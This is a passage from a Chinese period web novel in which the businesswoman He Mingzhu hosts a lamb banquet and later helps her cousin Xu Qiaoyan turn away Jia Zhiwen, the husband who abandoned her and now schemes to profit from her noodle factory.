要知道,就算是学校领导都忍不住要浪费临考学生的时间,坐在主席台上车轱辘地说废话。 她们本来都做好了饭前要听一通讲话的打算,没想到贺明珠居然真的一句都不讲,忍不住为她喝起彩来。 “贺老板真好!” “说话算数,一口吐沫一颗钉,是条响当当的好汉!” “不对,什么好汉,分明是好娘们!” 女工们嘻嘻哈哈,笑得东倒西歪,贺明珠笑着说了一句: “谁说女子不如男,娘们能顶半边天。” 食堂的小年轻们起哄:“说得好!” “岂止是半边天,大半的天都是女同志们顶起来的,你们说对不对啊?” “对!” “太对了!” 女性领导的存在本身就是对职场风气的一种震慑。 原本粗声大气的男职工忽然就变得知书达理起来,一夜之间就懂得什么叫尊重女性了,针对女人的荤段子也不提了,咸猪手更是消失得无影无踪。 贺明珠并没有将整顿职场风气挂在嘴边,她不说,只做。 嘴上占女员工便宜的,开除;骚扰女员工的,开除;不尊重女性的,开除。 几次开除后,所有人都知道什么是绝对不能踩的红线了。 有的男员工忿忿不平,国企都不管,凭什么她一个体户管得这么宽! 贺明军私下问她,这样做会不会有点太过严苛了? 毕竟社会大风气如此,也不能对个人太求全责备。 贺明珠理直气壮地说:“哪个员工不服,你让他当面和我说。既然在我这儿干活,就得按我的要求来。不服?不服那就卷铺盖滚蛋。” 贺明军笑着摇摇头:“你啊你……他们哪舍得辞职,除了这里,到哪还能找到像这样工资高、福利好的工作?” 贺明珠说:“不走就必须改,我是女人,我可不希望手下有不尊重女人的员工。” 男员工们没了话说,而女员工的身板挺得越来越直,头昂得越来越高。 女员工们的口头禅变成了“谁说女子不如男”,男人有什么了不起,不就是下面多点零件吗? 论起工作能力,女人可不是天然就比男人差。 要不然怎么会是贺老板的生意越做越大、越做越好,却没听说矿务局有哪个出名的男老板呢? 众人之中,罐头厂的女工们的感慨尤为深刻。 她们之前工作在饼干厂,工资不高,只有集体编制,在家里说话都没底气。 而现在情况完全掉了个,女人才是家里顶梁柱。 之前每天要给丈夫端洗脚水的女工,现在回家后都是等着丈夫给她端洗脚水,所谓女人应该干的家务现在也是男人在干了。 没有先天的性别优劣,只有后天的人为定义。 当听到贺明珠说“娘们能顶半边天”时,罐头厂的女工们笑得最大声,也最开怀。 “都乐什么呢?让一让,上菜啦!” 徐和平带头端着菜出来,这是他的老本行,单手能端五盘菜。 纪平波跟在他后面,将一盘盘的菜送到各桌上。 当饭菜的香气传出来,众人的注意力立刻就转移到面前的大餐上了。 一整只的羊被拆分成了零部件,每一部分都单独做成一道菜。 羊头洗干净后放进卤水,在一人高的大桶中咕嘟嘟地卤上几个小时,直到卤香入骨,皮肉软烂,筷子轻轻一提,就骨肉分离。 从富含胶原蛋白的表皮,到厚实软韧的羊舌,再到豆腐似的羊脑,每一个部位都有特色。 羊蝎子羊拐弯放一锅,一半做香辣,一半做清汤,半透明的羊筋缠在骨头上,用牙轻轻一撕就整块脱落,柔韧而有嚼劲,越吃越香,让人放弃筷子,直接上手抱着骨头啃,啃完还要依依不舍嗦一嗦手指头。 羊排用烤的,长长的一根肋条,也不从中切断,下面垫一层洋葱和土豆胡萝卜,直到烤得肉香骨酥,出锅时撒上一把白芝麻,咬下去时咔嚓一声脆响,表皮酥脆,内里多汁,吃得让人意犹未尽。 内脏做成羊杂,在红油汤中上下起伏,吃透了香料,脏器的腥臊气一扫而空,心肝肚肠的口感各不相同,像在开盲盒,每次都是意想不到的惊喜。 羊腿腌好后,整只放在架子上烤,油脂不住地往下滴,在炭火上激出一缕缕的烟,时不时撒上一把孜然面和辣椒粉,浓烈的香气就气势汹汹地朝人袭击过来。 羊腿烤好了,整只的盛在大盘子里送上桌,让人上手撕着吃,仿佛是在蒙古包,每一口都充满浓郁的草原风味。 除此之外,还有葱爆羊肉、黄焖羊肉、羊血肠……就连主食都是用边角碎肉做成的羊肉包子。 费立广本着人道主义精神,在满桌的羊肉大菜旁点缀了几道绿油油的小菜。 没想到平时无人问津的清炒时蔬,现在却成了抢手货。 食客们头一次放开了吃肉,奢侈地吃肉吃到腻,得吃口素的顺一顺,缓过一口气,再和桌上的羊肉奋战到底。 大冬天的吃上这一顿全羊宴,全身都是热乎乎的,每个人看起来都有种气血充沛的感觉。 草原来的客人们吃得开怀,用半生不熟的汉语唱起了祝酒歌。 同桌的人配合地打着拍子,有人用手拍桌,有人拿筷子敲杯子,还有人跟着一起哼唱。 气氛热烈,每个人脸上都是发自内心的笑容。 牧民们唱完了祝酒歌,罐头厂的女工们接上,齐声唱起《年轻的朋友来相会》。 这首歌旋律轻快极了,明亮而蓬勃,在女工们的歌声中,有种积极向上的阳光感。 尽管她们没有受过专业声乐训练,也没有合唱过这首歌,可唱出的每一句都发自内心。 “美妙的春光属于谁?” “属于我,属于你~” “属于我们八十年代的新一辈!” 当宴会到尾声时,贺明军招呼徐和平、纪平波等人和他出去放炮,贺小弟蹦蹦跶跶地跟上去。 其他人也纷纷走出饭店,笑着看他们放炮。 先是噼里啪啦的鞭炮声,接着是轰隆隆的二踢脚声,震得人耳朵都发麻。 贺明军把着贺小弟的手,小心翼翼地点燃了几支竖放的烟花上的捻子。 不待引线燃尽,他提溜着贺小弟的胳膊就往回蹿,身后已经响起了烟花爆响的炮声。 贺明珠站在人群中,仰头看着烟花在夜空中绽放。 相比于后世炫技般的烟花秀,八十年代的烟花有些简陋,小小的一朵,持续时间也不长。 可陪贺明珠一起看烟花的,有亲人,有朋友,男男女女,老老少少,都是支持她的人。 在这一路上,她不孤单。 对贺明珠而言,现在就是最好的时候。 贺家头一次在新房子里过年,家里从早到晚都是来拜年的人,每天都 热热闹闹。 初三那天,贺家人集体去姥姥家拜年。 许家村如今日子过得好,手头宽裕,过年时就格外舍得吃。 年前每隔几天就听说村里有人杀猪,几百斤的大肥猪半天就卖光了。 来得晚的话,就只能买一些前腿肉之类的边角料。 许大舅一大清早就出发去买猪肉了,回来的时候提了一大块猪肉和排骨,还有两只猪蹄和猪尾巴。 本来他想把猪头也买回来,但杀猪的那家人说要留着自己家吃,最后好说歹说,分了许大舅两只猪蹄。 新鲜猪肉放在室外冻好,等吃的时候再拿到屋里解冻。 为了招待外甥们,许大舅天还没亮就爬起来了,顺便把表哥也搓弄起来,让他赶紧打扫院子,自己则一头钻进了灶房,仔仔细细将猪蹄上的细毛都燎掉。 他干的专心,丝毫没注意到外面院门被敲响。 表哥困得睁不开眼,拿着扫帚在地上划拉。 听到有人敲门,他懒懒地说:“别敲了,这就来开门……” 表哥一边磨磨蹭蹭地去开门,一边腹诽着自家亲爹。 老头子对贺家外甥比对他这个亲儿子都好,也不知这家里到底谁才姓许…… 他慢悠悠抽出了院门上的木栓,拉开大门,正要说“你们咋来得怎么早”时,却看到门外的人却不是预料中的贺家兄妹。 “大舅子,好久不见,我给你拜年啦!” 表哥看到面前满脸堆笑的眼镜男,困得眯缝的眼睛一下就瞪圆了,目瞪口呆地看着来人。 “大舅子,我带了年礼,让我进来说话吧……” 小眼镜试图从门缝溜进来,表哥下意识“哐”地合上了院门,转头冲灶房的方向大喊: “爹!狗日的陈世美来家了!” 第146章 第146章贾志文上门 “谁来了?!” 听到表哥的话,许大舅操起烧火棍就从灶房冲了出来。 表哥堵在门口,指着外面说:“巧燕的男人来了!爹,给不给他开门?” 许大舅狠狠地啐了一口。 “开个球门!什么巧燕的男人,那孬孙早和你妹妹没关系了,你少胡咧咧!” 表哥冤枉:“骂俺干啥,俺不是怕你弄不清外头的是谁嘛。” 许大舅不搭理他,径直上前,一把拉开院门,与门外的眼镜男站了个面对面。 “谁让你来俺家的!赶紧滚!大过年的,别让俺收拾你!” 眼镜男唬了一跳,下意识地往后退了两步,反应过来后就堆出一脸的谄笑。 “岳父,别生气,有话好好说,再怎么说我和巧燕也是两口子,咱们有事儿进屋说,别让大伙儿看笑话了。” 说话间,眼镜男就想越过许大舅往院子里挤。 许大舅挡在他面前,低声怒喝:“别叫俺岳父,俺不是你岳父!你个臭不要脸的,干了对不起俺巧燕的事,现在还敢来俺家,真以为俺老了就打不动你吗?!” 许大舅撸袖子就要上,他常年做农活,体格结实,瞧着比年轻的眼镜男要有力气得多。 眼镜男急忙道:“别打,别打!我和巧燕没离婚,我们还是夫妻!我这次是来带她和灵灵进城团聚的!” 许大舅的动作一顿,狐疑道:“你说真的?你要带她们进城?” 眼镜男擦一把额头冒出的冷汗,谄笑道: “真的,都是真的。之前把巧燕和灵灵留在村里是因为她们俩户口和粮食关系转不到城里,我也不舍得,那不是没办法吗?现在就不一样了,我找了关系,能把她们俩的户口转到城里……” 眼镜男是下乡知青,当年中央允许知青返城,他毫不犹豫抛下了农村妻女,独自回了城。 之后他写信回来,要求许巧燕去公社办理离婚手续,许巧燕气不过,要去城里找他算账。 眼镜男明知许巧燕在找自己,躲着不敢露面,他心虚。 最后办理离婚手续的事就不了了之。 从法律上来说,眼镜男和许巧燕确实还处于婚姻存续状态。 对于眼镜男说的他要带巧燕母子回城团聚的事,许大舅半信半疑,堵在门口,没接着要打他,也没松口让他进来。 八十年代的城市户口和农村户口是天壤之别,农村人都削尖了脑袋想进城吃供应粮,不用再苦哈哈地种地。 但城市户口不是那么好获得的,要么是考学分配,要么是入伍提干,千军万马过独木桥,想当城里人没那么容易。 要是眼镜男真能把巧燕和灵灵的户口弄到城里,别的不说,至少灵灵能有个好前途。 但这个王八羔子说的话能信吗? 许大舅审视地瞪着眼镜男,沉默地思量着。 眼镜男眼睛一转,换了一副面孔,哀求道: “其实我这次来还有一个原因,我妈身体不好,医生说她没几天活头了……我不能让她一辈子都见不着孙女……岳父,我知道之前对不起巧燕和灵灵,我愿意弥补她们……但我妈随时都有可能要走,求您老人家就给我一个尽孝的机会吧!” 许大舅有些动摇。 他现在年纪大了,自己也是当爷爷的人,听到眼睛男说他妈到死都见不着孙女,推己及人,心里就有些不是滋味。 人老了就容易心软,铁石心肠也经不起岁月的消磨。 眼镜男察言观色,见许大舅的表情不像之前那么坚决,立即趁热打铁,扑通一声跪倒在地,抱住了许大舅的腿。 他一脸的悲戚,扯着嗓子嚎啕:“岳父,你打我吧!只要你答应,就算打死我都行!只求您可怜可怜我妈,让她安安心心地上路吧!” 许大舅大惊失色,从没见过知识分子撒泼。 “你这是做什么,起来,快起来!” 眼镜男哭得嗷嗷的。 “岳父,你不答应我,就算要跪到正月十五我也不起来!” 一旁的表哥看得一愣一愣的,心想这有文化的人闹腾起来比村里老娘们还有意思。 这时,一道稚嫩的声音响起。 “姥爷?” 灵灵不知什么时候过来的,眼睛瞪得大大的,明显是有些被惊着了。 眼睛男刚开始还没认出来这小孩是谁,直到听到灵灵喊姥爷才意识到这是他的亲闺女。 当初他离开村子时,灵灵还不会说话,如今都长这么大了。 眼睛男暗自心喜,膝行过去,一把搂住了灵灵,夸张地大喊:“我的孩子啊,我终于见到你了!你知道爸爸有多想你吗?!” 灵灵突然被陌生男人抱住,吓得身体都僵了,惊慌地朝许大舅求救。 “姥爷,姥爷!” 许大舅一把 将灵灵从眼镜男的怀里薅出来,灵灵紧紧搂着他的脖子不肯下来。 计划中父女相认的感人画面变成了坏人绑架小孩,眼镜男觉得怪没意思的,自己从地上爬了起来。 “贾志文?” 在他身后,一道熟悉又陌生的女声响起,声音中带着几分迟疑和不可置信。 眼镜男,也就是贾志文转头看去。 他原本以为要看到的是一个苍老憔悴干瘪的农村妇女,就像是被嚼烂了的甘蔗渣,但令他没想到的是,面前站着的女人年轻而充满活力,红润的脸庞,乌黑的大辫子,还有一具饱满而丰润的身体。 “许……巧燕?” 贾志文一脸的不可置信,他印象中的许巧燕还是土里土气的小村姑,脸上挂着傻笑,干起活来像一头人形骡子,他说什么都信,好骗极了。 可现在站在他面前的这个精干利落的女人是谁? 许巧燕提防地看着贾志文,问道:“你来俺家干啥?!” 贾志文整理了一下心情,深情地说:“我来接你和灵灵去城里过好日子。” “好日子?” 许巧燕嗤了一声,直白道:“跟你能过什么好日子?俺这辈子吃的苦都是因为嫁给了你!” 贾志文吃惊极了,甚至一时间忘了要生气。 许巧燕怎么会说出这样的话? 这是他记忆中淳朴的小村姑能说出的话吗? 许巧燕没他那么多小心思,从许大舅手中接过灵灵,把女儿抱在怀里,对贾志文下了逐客令。 “你走吧,俺家不欢迎你,以后别来了。你要是再敢来俺家,俺一钉耙扎死你!” 贾志文急了:“我们还没离婚,你不能赶我走!” 许巧燕头也不回地说:“那就去离!” 贾志文一时语塞,他之前想好的对策和话术现在全都用不上,城市户口的鱼饵扔下去,许家大鱼居然无动于衷。 他一时间无计可施,口不择言道:“灵灵是我的女儿,我要带她走!” 只要捏住孩子,母亲还不是任他摆布? 然而,这次没等许巧燕回答,许大舅就先骂道: “你个种完秧就撂耙子、**里抹油的孬孙!灵灵不是你生的,也不是你养的,你凭什么要带她走!给你脸了,你敢当着俺面说这话!” 之前撸完袖子没干完的事儿,现在接着继续。 许大舅操起烧火棍就往贾志文身上抽,直抽得对方原地起跳。 “养不熟的白眼狼羔子!驴粪蛋子外面光的玩意儿!牲口不如的东西!” 贾志文被许大舅打得抱头鼠窜,沿着乡间小道一路狂奔,跑得衣服散了,头发乱了,出门时油光锃亮的皮鞋也满是泥印。 即使被打成这样了,他手里提着的两个袋子也没松开。 随着他的逃窜,袋里的东西像活鱼似的,扑腾扑腾地在袋口跳动。 表哥探头去瞧,眼尖地发现袋子里装的是整条的劳动烟,当时眼睛就是一亮。 表嫂睡眼惺忪地抱着儿子出来,不满道:“大清早吵吵什么呢,把你儿子都吵醒了……大过年的也不让人睡个安生觉……” 表哥没理她,双眼放光地看向门外贾志文和许大舅离开的方向,毫不犹豫地追了出去。 表嫂喊他:“哎,你干甚去?” 表哥头也不回地说:“你别管,俺有事。” 说话间,表哥已经跑到了小路的尽头,拐过土墙就消失不见了。 表嫂抱着孩子回屋,嘀嘀咕咕地骂:“一天到晚也不知在折腾啥,屁也不是,还等天上掉馅饼……” 另一边,许大舅追着贾志文到了村口,正好有辆中巴车停在路边,车上下来了五六个年轻人。 最先下车的人在看到许大舅后,惊喜地喊:“大舅,你怎么知道我们到了?” 许大舅一看,正是他念叨了一早上的外甥女,脸上由怒转喜,高兴地喊:“明珠!” 贺明珠身后是齐家红牵着贺小弟,贺明国和贺明军忙着从车上取下大包小包,两个搬山工艰难地扛起一大堆的东西。 许大舅顾不上贾志文了,急忙迎上来:“咋拿了这么多东西,家里啥都有,你看看你们,哎呀……” 在许大舅眼中,贺家兄弟无论年纪多大都是孩子,有大人在,怎么能让孩子扛东西呢? 他上来就要扛最大的一个包,被贺明珠笑眯眯地拦住了。 “没事儿,我哥他们有劲儿,扛得动。” 许大舅还想帮忙,她转移话题,问道:“大舅,你怎么带着烧火棍出门啊?” 许大舅这才想起贾志文,环顾一圈,这小子已经趁机跑得不见踪影了。 “算了,大过年的,不说了。走,回家去,你妗子炖了肉,还有猪蹄猪尾巴,可香嘞!” 一行人进了家,新盖的砖瓦房宽敞亮堂,地面铺了砖,窗户是木框拼接玻璃,人字形的房顶,抬头可见排列整齐的粗壮梁木。 和之前的土坯草房相比,许家的居住条件是上了一个大台阶。 许大舅笑着说:“现在大伙儿手头有钱,都盖了新房子,到底比之前住得舒坦。外村的闺女都乐意嫁到咱村,他们都说俺们村的人脑子活,肯下苦力,日子是越过越好!” 贺明珠听了也很为许家村高兴。 她和许大舅聊了聊年后蔬菜供应的事,许家村的蔬菜量大质优,矿务局饭店食堂大批量采购,收购价格随行就市,两者间是合则两利的双向奔赴。 贺明珠还想去和许巧燕聊一聊粉条厂时,却见大舅妈正拉着她说些什么。 “你咋想的?能去城里干啥不去?以后不用下地还不好啊?你就算不为自己想,你也要为灵灵想想吧!” 许巧燕抵触地说:“城里有啥好的,俺就喜欢在村里待着。你别劝了,俺不和贾志文过,年后俺俩就去公社打离婚证。” 大舅妈恨恨地说:“你个没福气的女子!有福气你不享,不当城里人,要当老农民,笨得你!” 贺明珠听了个大概,见两人间气氛僵硬,她便上前打圆场。 “妗子,这是什么了?大过年的可不兴生气啊。” 贺明珠不是外人,不用担心家丑外扬,大舅妈拉住她就是一通抱怨加诉苦。 “明珠你评评理,好不容易巧燕男人回来,愿意接她和灵灵去城里过好日子,这傻女子说什么也不去,要在村里当老农民,你说说哪有她这死脑筋的!” 许巧燕则说:“明珠,你别听俺妈胡说,那男人就不是个好东西,当初说走就走,现在又突然回来,不知道打什么坏主意呢。” 大舅妈急道:“你管他打什么主意,说破天了,他是你男人,是灵灵亲爹,能干啥坏事?” “再说了,这十里八乡的,哪有女人离婚的?说的好听是什么离婚,说不好听了,那不就是让人给休了吗?!” 许巧燕气道:“妈!你咋能这么说话!” 大舅妈自知失言,嘟囔一句:“俺不是替你着急吗……哪有结婚的闺女一直住娘家的……” 许巧燕这下是真被戳到痛处了。 她赌气道:“那俺不住娘家成不成?俺年后就搬出去住,省得又碍了你眼!” 大舅妈急得直拍大腿:“哎呀,俺、俺不是这个意思!” 见母女间越说越僵,贺明珠赶紧说:“妗子,巧燕姐,你们先别吵,听我说一句。” 大舅妈连忙道:“你说,你说,正好你劝劝她。” 贺明珠没像大舅妈希望的那样,劝许巧燕跟着贾志文进城,而是问大舅妈: “妗子,您对贾志文了解多少?” “啥?”大舅妈一愣,“俺了解他干啥?” 贺明珠又问许巧燕:“姐,你知道多少贾志文的事?” 许巧燕张了张嘴:“他是知青,家是乌城的……” 说起来荒谬,已经结婚生子了,但除了名字和家乡,她居然对贾志文没有更多的了解。 就如同后世的电视剧《孽债》,一些知青在面对回城的选择时,可以轻而易举地抛妻弃子,藉由通讯和交通不便,远隔千里,就不需要担心被抛弃者找上门来。 关于贾志文做什么工作,家里有几口人,现在住哪儿……许巧燕都回答不上来。 大舅妈不解道:“你问这个干啥?” 贺明珠说:“您不了解贾志文,巧燕姐也不了解。一个七八年没见过的人,怎么能证明他说的都是真的,而不是在骗人?” 大舅妈张了张嘴:“他是灵灵的亲爹,不会骗人吧……” 许巧燕立刻反应过来:“贾志文就不是个好东西!当初他说回城找到工作就接俺和灵灵过去,骗俺爹找公社给他开了介绍信,结果他回去了就寄信过来说要离婚!还要分田分钱!” 许巧燕越说越气:“当时灵灵才不到一岁,他说走就走,一点也没想过俺们在村里要怎么过!现在家里日子好过了,他又说要接俺们进城。呸!俺才不信!” 大舅妈被提醒,也想起了多年前发生的事,一时间有些讷讷的。 “那咋办……可你家里总得有个男人撑腰吧……” 大舅妈还是农村的老思想,闺女嫁出去就是别人家的人,不能一直待在娘家。 即使女婿不靠谱,但说起来也是家里的“顶梁柱”,哪怕这根柱子已经被虫蛀得摇摇欲坠。 许巧燕不知该如何反驳大舅妈,毕竟她也是在农村的这套自成闭环的思想体系中成长起来的,某种程度上,对于大舅妈的话,她潜意识里是认同的。 可正因如此,她才格外挣扎。 贺明珠不在这套思想体系中,一眼 就发现了问题。 她问道:“妗子,巧燕姐是不是个勤快人?” 大舅妈不明所以,答道:“她是挺勤快的,家里地里都是一把抓,一点也不用人操心。” 贺明珠又问:“巧燕姐是不是靠自己种粮挣钱养活闺女?” 说起这个,大舅妈既骄傲又心酸。 “那可不,这妮子倔,不让俺和她爹帮手不说,还拿钱贴补俺们,比她哥不知道强到哪儿去了。” 贺明珠最后问道:“巧燕姐把粉条厂办得好不好?” 大舅妈肯定地说:“好,她是个有能耐的,厂里的人都听她的,一年到头不少赚嘞。” 随着两人的一问一答,许巧燕渐渐明白过来到贺明珠的意思,眼睛亮了起来。 贺明珠一拍手:“那不就结了。巧燕姐人勤快,会赚钱,能养活自己和灵灵,还需要哪门子的男人撑腰?她自己就可以顶门立户了。” 大舅妈先是没听明白,等反应过来就楞住了。 这,这,这…… 怎么感觉贺明珠说的好像还有点道理呢? 大舅妈结巴道:“可、可她都结婚了……” 贺明珠轻快地说:“能扯结婚证,就能扯离婚证。过日子指望不上男人,还留着他做什么?家里缺个地主老爷要伺候吗?现在可是新中国,旧社会那一套行不通了。” 这话说得损,许巧燕没忍住,笑出了声。 大舅妈嗔道:“你个小丫头,拿话捉弄你妗子呢?” 贺明珠笑着说:“话糙理不糙嘛,您说我说的是不是这个理~” 大舅妈无奈地笑:“说不过你们年轻人,你们啊,个个都是‘总有理’。” 许巧燕见状就说:“妈,你换换思想,别总想着老一套,不就和俺们一样‘常有理’了吗?” 大舅妈指着许巧燕笑道:“说你胖你还喘上了,你这妮儿现在是给梯子就爬啊!” 许巧燕揽住大舅妈的胳膊,亲热道:“都是俺妈教得好。” 说说笑笑,气氛为之一松。 大舅妈虽然受老思想的影响,但本质上还是疼孩子的,不然也不会让许巧燕母女一直住在家里。 她接受了贺明珠的说法,只是还有些担忧。 “灵灵咋办?那到底是她亲爹……” 许巧燕沉默了。 坦诚地说,灵灵是她一手拉扯大的,说她自私也罢,她就不想让灵灵认贾志文这个亲爹。 但论情论理,不让贾志文见孩子又说不过去…… 她迟疑地问贺明珠:“那要咋办呢?要让贾志文见灵灵吗?” 贺明珠完全没当这是难事。 “这有什么难办的,贾志文这个亲爹没养过灵灵,从小到大没掏过一分钱。当爹的不养闺女,这事到哪也说不过去。他要是想见灵灵,可以,让他把该补的抚养费都补了,一个月就算十块钱,一年也有一百二十块,从七八年知青回城起到现在也有七年了吧,让他把这七年欠的抚养费都补上,再加上从今往后每个月的抚养费。也别光口头上说什么父女情深,总得行为上有所表示吧。” 许巧燕忍不住笑了起来。 “明珠说得对,就按这个法子来办!想白捞个爹当,哪有那么好的事!” 大舅妈笑着摇头:“还是你们年轻人有主意,读书的人到底脑子好使。” 麻烦事解决了,心情就格外舒畅。 中午饭是许巧燕的手艺,炖肉足有小孩拳头大,一块就足以吃撑。猪蹄烀得软烂,皮滑肉嫩,蹄筋柔韧有嚼劲。 一大桌的农家菜,虽然卖相和味道没有饭店精致,主打一个滋味浓厚,量大管饱,上菜的不是盘子,而是铁盆,里面的菜堆得冒尖。 贺家五口捧得肚子直呼吃撑,贺小弟抓着根猪尾巴恋恋不舍地啃。 小孩都是别人家的饭更香,贺小弟吃得都让齐家红担心地让他少吃点,今天出门没带乳酶生。 许家村的人得知贺明珠来姥姥家了,饭后不断有人上门拜年,花生瓜子杏干红枣堆得满桌都是,热情地招呼贺明珠尝一尝,都是自家做的。 实在太热情了,贺明珠有些吃不消,觑了个空子尿遁了。 当她来到屋后时,却见地上蹲了个人,正在享受地吞云吐雾。 贺明珠奇道:“表哥,外面这么冷,你怎么不进屋?” 表哥慌慌张张地从地上站起来,将手里的烟头碾灭。 “就去,就去……” 他逃也似的走开,贺明珠注意到,在他刚刚蹲着的位置上,除了一地的烟头,还有一个被丢弃的烟盒。 烟标是两个正在劳动的人,下面写着一行字—— 【劳动牌香烟】 第147章 第147章陈世美的小算盘 贾志文回到城里丈人家的时候,正好赶上了午饭的时间。 城里媳妇瞅他一眼,没好气地说:“送完东西了?哼,就你们家事儿多,大年初三都是回娘家,就你要回舅舅家送什么东西,你妈也真好意思使唤你。” 贾志文堆出一脸笑,把单位过年发的水果一筐筐地往丈人家里搬。 “我这不是办完事就赶紧回来了吗,就怕误了咱家过年。咱爸咱妈还好吧?今天中午都别做饭,我来露一手。” 城里的丈母娘端着一副和蔼的笑,亲切地说:“小贾,来家还带这么多东西啊。我和她爸单位都发了,现在家里最不缺的就是水果,暖气热,放几天就坏,你等下还是带回家自己吃吧。” 贾志文丝毫不觉尴尬,一脸都是笑:“这也是我的一点心意,怎么能带回去呢?我去厨房帮忙……” 他换上拖鞋,一溜烟进了厨房,没一会儿,原本在厨房的丈人就走了出来。 “小贾太客气了,非说让我歇一歇,还说给我带了两瓶粮食汾,这可是好东西。” 丈母娘低声哼笑,悄悄地说:“就他那家庭,能不赶紧巴结着咱家吗?不是说他那个叔叔又被抓起来了吗?” 贾志文的城里媳妇嗔道:“妈,你怎么又说这个,不是说好了不提吗?” 丈母娘小声埋怨:“还不是你当初非要嫁他……” 丈人欣赏着贾志文送来的汾酒,漫不经心地说:“行了,大过年的,都高兴点,我看小贾人不错,都说一个女婿半个儿,他倒是比我儿子还亲热些呢。” 厨房里,贾志文吭哧吭哧地削土豆皮、剥蒜、砍排骨,在狭小的空间里忙得团团转。 他手上忙个不停,脑子也没闲着,还在不断想着之前在许家村的所见所闻。 许巧燕这个小村姑有出息了啊,居然能自己办了一家粉条厂。 要不是贾忠实告诉他,贾志文想也想不到当初被他抛弃的农村媳妇现在居然这么有钱。 贾志文往看守所送了几次东西后,贾忠实终于松口,告诉他自己曾在饭店门口看到许巧燕来送货,足有上百斤的粉条,每周都要往城里送几次。 贾忠实找原来乌金年代的服务员打听消息,得知许巧燕是大老板贺明珠的表姐,别看她是个农村妇女,在村里开了一家粉条厂,做的粉条供不应求,一个月能赚不少钱。 贾志文从来没带许巧燕来城里见公婆走亲戚,理论上贾忠实应该是不认识许巧燕的。 可偏偏巧了,贾志文抛妻弃子后,许巧燕上城里找他要说法,贾忠实正好遇到她。 他躲了起来,没说自己是贾家亲戚,偷偷记住这个农村陈香莲的长相,打算走亲戚时拿来当谈资。 当时贾忠实还在心中偷笑,幸灾乐祸极了,自己那个心高气傲、看不起人的侄子居然会娶个农村女人,真是太好玩了。 几年过去,就在贾忠实快要忘记农村陈香莲时,又遇到了已经大变样的许巧燕。 贾志文在听到贾忠实的话后,心里非常不是滋味,又嫉又恨,心头像是被人浇了硫酸。 许巧燕这个村妇怎么能过得这么好! 他现在每天在单位溜须拍马,回了家还得对城里老婆做小伏低,削尖了脑袋四处钻营,一个月到手也不过才百十来块,吃顿好的、买件 好衣服就没了。 被他抛弃的许巧燕反而开了家粉条厂,自己当起了老板,每个月比他这个城里人挣得还多,这还有天理吗?! 贾志文气得好几个晚上都没睡好。 他还四处找人打听要怎么举报农村办厂的个体户,想把许巧燕的粉条厂搅和黄了。 过了几天,贾志文从满腔翻滚的硫酸中冷静下来,意识到也不是非得给许巧燕背后使坏才行,他是不是也能沾点光呢? 毕竟他和许巧燕可还没离婚,这粉条厂赚的钱应该也有他的一份。 当初两人扯结婚证时是在县里的公社办的,这年头没有信息联网的说法,各地的政务数据还处于封闭状态,就给了一些人可乘之机。 加上此时交通和通讯不便,信息流通受限,相隔百公里,就是互不相识的陌生人社会。 于是,有人就像老母鸡下蛋一样,东边结个婚,西边扯个证,南边办个席,北边生个娃,处处都是他家,村村都有丈母娘。 贾志文听说过有人这么操作,心里羡慕不已。 如今他也有机会了,城里一个家,村里一个家,两边拿好处,一点也不耽误。 虽然贾志文在城里结婚时是扯了证的,但县里又不知道,理论上来说,他和许巧燕还是夫妻。 既然是夫妻,是不是也该让他从粉条厂拿点钱? 想到这里,贾志文心里像揣了块火炭,热乎乎的,烧得他坐立不安。 可是平时城里媳妇管得严,贾志文没借口回村,好不容易找机会和他妈串通口供,说他要去村里舅舅家送东西,这才能在初三去找许巧燕。 只是没想到,许巧燕现在变精了,居然对他抛出的“回城团聚”的诱饵无动于衷。 贾志文心里又气又恼,这女人可真不识相! 看看许家新起的砖瓦房,再看看村里的粉条厂,那都是一摞摞的钱啊! 人可以不要脸,但不能和钱过不去。 急切间,贾志文想出了新主意,只要把灵灵带走,许巧燕这个当妈的还能不听他的话吗? 自古男人对自己抛弃前妻所生孩子的感情有限,极端些的恨不能这个孩子赶紧死掉,不要留在这个世上耽误他的新生活。 贾志文虽然还没极端到想要弄死灵灵的地步,但对这个从没养过的女儿,他的父爱有限到还不如有爱心的陌生人。 捏着这个女儿,就像捏着一个小人质,啊不,分明是摇钱树。 但没想到,农村丈人居然会护着外姓孙女,真是倒反天罡了。 贾志文被许大舅的烧火棍打得狼狈不堪,一路逃到了村外,见身后没有许大舅的身影了,他才松一口气。 但这口气松得早了些。 “你跑啥?” 身后突然传来男人声音,贾志文吓得一个趔趄,差点连手里的东西都没拿住。 “你咋走了,不领灵灵和巧燕回城了?” 贾志文转身,见来的人是许巧燕的亲哥,村里出了名的懒汉,他眼睛一转,想出了个主意。 “我想带她们回家,但你爹不让,我能有什么办法呢?” 见妹夫唉声叹气的,表哥幸灾乐祸地说:“哎呀,谁叫你这么些年不管她们,你进城吃香的喝辣的,让俺家替你养媳妇闺女,俺爹能不生气吗?你就是该的。” 贾志文心中不快,但面上不露出来,反而向对方求助。 “你说我要怎么办才行?我是真心想让巧燕和灵灵和我回城里团聚,我们一家子分开太久了。” 表哥嘴上说着话,眼睛不住地往贾志文手里提着的袋子上瞅。 “你咋能光就嘴上说说,咋说也得有点表示啊!哪有空手来走亲戚的,俺爹肯定不高兴啊。” 贾志文心中偷笑,就知道这个大舅子眼皮子浅。 他作势把袋子往前递了递,苦恼地说:“我准备了烟酒,还准备了红包,但你爹都没给我说话的机会,我就算想送礼也送不出去啊。” 表哥眼中露出贪婪的光芒,忙不迭地伸手去接袋子。 “俺来,俺来,俺替你送!这么好的东西,俺爹看了肯定高兴!” 就在表哥的手指将要触到袋子时,贾志文猛地一收手,没让他碰到。 “那可不行,万一东西给了你,你家还是不让我接媳妇孩子回家怎么办?刚刚你爹还拿烧火棍打我呢。” 表哥急得直说:“俺给你保证,肯定让你带巧燕走!” 贾志文问:“你怎么保证?你家现在还是你爹当家,你说了能算?” 表哥大包大揽:“俺们家就俺一个儿子,以后家里还不是俺说了算?巧燕再能干也是个嫁了人的丫头片子,以后她还能给爹妈养老?还不是要靠俺!” 贾志文明知故问:“她不是还在你们村里开了个粉条厂吗?” 表哥没有意识到贾志文问这个问题的深意,直白地说:“什么她开的,那厂子是俺们许家村的,她一个外嫁女还能带走不成?也就是让她管一管,将来还得还回来。” 贾志文:“原来如此……” 表哥急不可耐,上手去拿袋子,贾志文避开他的手,在他不满的“你啥意思”的抱怨声中, 挑挑拣拣地从袋子里抽出一条烟。 “咱们连襟也是有几年没见了,这条烟你拿着回去抽,算我送你的。” 表哥接过烟,眼睛还望袋子里瞅,不满地说:“就给俺一条烟啊?” 